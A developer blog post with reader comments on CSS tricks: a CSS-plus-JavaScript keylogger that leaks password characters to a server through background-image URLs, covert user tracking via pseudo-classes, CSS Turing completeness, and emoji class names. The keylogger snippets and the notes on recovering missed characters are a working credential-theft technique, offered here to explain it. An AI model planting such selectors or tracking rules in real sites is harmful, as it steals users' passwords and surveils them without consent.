Cover image by @maxwell_dev.
Inspired by today's #DevDiscuss I commented with my favourite misdeeds in CSS.
So let's have a look at how they work.
CSS Keylogger
This has been around for a while now that you can use CSS to create a keylogger, but as is rightly pointed out in this post it's not "just CSS", it does rely on some JavaScript. So let's dissect how it works.
We have our selector like so:
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}
Assume it's repeated for every character you want to log.
The important part of the selector is the substring match on value
, this part: [value$="a"]
. This is an attribute selector, specifically a substring selector that was added as part of CSS 3 and what it's doing is saying is that it'll match when the value
attribute of the DOM element ends with a
(you can use ^
for begins with if you wanted).
So we're matching when the value
attribute contains that but if you were to look into the DOM of a form on a page you'll notice something, the value
attribute isn't set.
If you open up the dev tools in your browser on a form you'll notice that when you type in the input the attribute doesn't change, it's always set to Test here
. But if you were to use JavaScript to inspect the value, document.getElementById('demo-01').value
it'll have what you entered. This is because the attribute represents the default value of the <input>
, not the current value, that's something that might get computed, depending on the type of input you have.
What does it mean for us creating a keylogger in CSS? Well, the simple fact is that you can't create one purely with CSS but you can create one with CSS and a bit of JavaScript because we're going to need to update the value
attribute along the way.
This is quite easy to do, you just need some JavaScript like this:
let inputs = document.getElementsByTagName("input");
for (let i = 0; i < inputs.length; i++) {
let input = inputs[i];
input.addEventListener("keypress", e => {
e.preventDefault();
let char = String.fromCharCode(e.keyCode);
let newValue = input.value + char;
input.setAttribute("value", newValue);
input.setSelectionRange(newValue.length, newValue.length);
});
}
What this does is it "pretends" that you're doing your keypress
appropriately by catching it early and then pushing the character you intended to enter onto the value
attribute, making it look like you were typing normally. We then use the setSelectionRange
method on the input to position the caret to the end of the input so you are none the wiser. A demo can be found here of this in action.
But if you're able to run JavaScript to bypass how the DOM works, why bother with CSS anyway? The problem isn't so much the code you write but more the code you might leverage, in particular, UI frameworks.
For example, React synchronises the value
attribute with state if you're using a controlled form, which is something that this issue tracks. So if you're on a website that is using React then that website is vulnerable to this kind of an attack, whether it's through an extension in your browser or some dodgy ad running on the site.
Yes, you require JavaScript to properly implement a "CSS keylogger", but that doesn't mean that you have to write the JavaScript.
I just want to quickly touch on some points the author makes in this post. They state that it's not really a big deal because the background-image
is only done for the first match so repeated characters won't pick up (e.g. a password of password
will miss a s
), and that is true (the value
didn't change the last character at pass
so the selector wasn't triggered) but the data capture will include timestamps and if you take a level of variance between the timestamp of events you can extrapolate your own gaps (if it took 0.1ms between captures and then there was an 0.5, maybe some characters were duplicated). The same goes for the observation that the order-of-receive isn't guaranteed. That's true, the server may receive them out of order, but when you have all (or 90+%) characters of a password the ability to brute force goes down drastically.
User Tracking with CSS
This is not quite as scary as a keylogger but it does borrow the same underlying principle as the keylogger.
For this we're going to exploit CSS Pseudo-Classes, which allow us to hook into a number of events of DOM elements.
Here's the CSS that I applied to those elements:
#demo-02 p:hover {
background-color: #f0a;
}
#demo-02 input:focus {
background-color: #bada55;
}
#demo-02 button:active {
color: #ff0000;
}
I'm just using pseudo-classes like :hover
, :focus
and :active
to know when you've done something and then change some colours, but again I could be setting the background-image
to a tracking URL.
How could this be made useful? Well, think of it like implementing Google Analytics, you could do something like attach a :hover
state to the body
element so you know when the page is appearing for the user and then more hover states on all the child elements; as the user moves around the page you're capturing the rough position of their cursor and knowing what they are spending their time on. If there's a form you can work out how long they spent on each field, how they navigate forwards and backwards through a multi-step form, or if they change answers on radio buttons/checkboxes.
Like the keylogger it isn't as straight forward as it might seem, you would have to have a decent idea of the structure of the DOM to be able to create a really fine-grade tracker (or use JavaScript), but if you're using it for your own analytics it's very achievable.
CSS is Turing Complete
Ok, CSS + HTML if you want to be pedantic but it's true, it is possible to implement Rule 110 with just CSS and HTML:
Credit to eliheeli on GitHub for the working example of it.
This works by abusing Pesudo-classes like our tracker and combining those with the Adjacent sibling combinator. The adjacent sibing combinator, or +
for short, works like this:
#demo-03 p {
color: #00bb00;
}
#demo-03 p + p {
font-family: "Comic Sans MS", sans serif;
font-style: italic;
}
Here we're applying a rule to all p
elements, but then we're using the adjacent sibling selector to apply a rule to the 2nd p
only (in this case, turning on a different font family and style). By applying conditions on the first half of the selector, such as a pesudo-class, the cascade of the rules can be greatly limited.
Emoji Class Names
Who doesn't love themselves a liberal usage of Emoji's throughout their work? Well did you know that you can use Emoji as the class names in CSS? According to the spec they are technically valid, meaning you can do this:
#demo-04 .🤣 {
font-family: "Comic Sans MS";
text-decoration: #f0a underline overline wavy;
text-shadow: 2px 2px #bada55;
transform: rotate(45deg);
display: inline-block;
}
In reality you probably shouldn't do this, but hey, you could shave a few bytes over the wire for the sake of a few users not being able to access your site (or dev on your codebase)!
Conclusion
What started from a throw-away tweet became the catalyst for writing a post I've been meaning to do for a few years now! 🤣
I hope you've enjoyed a look at a few things you can do with CSS, but maybe shouldn't.
What are your favourite ways to exploit CSS?
Top comments (5)
I am at once horrified and amazed by the key-logger. Never underestimate CSS.
I love the click bait title :) This is a good read. I'm very tempted to write some throwaway CSS with emoji selectors.
That's the whole point ...
Some comments may only be visible to logged-in visitors. Sign in to view all comments.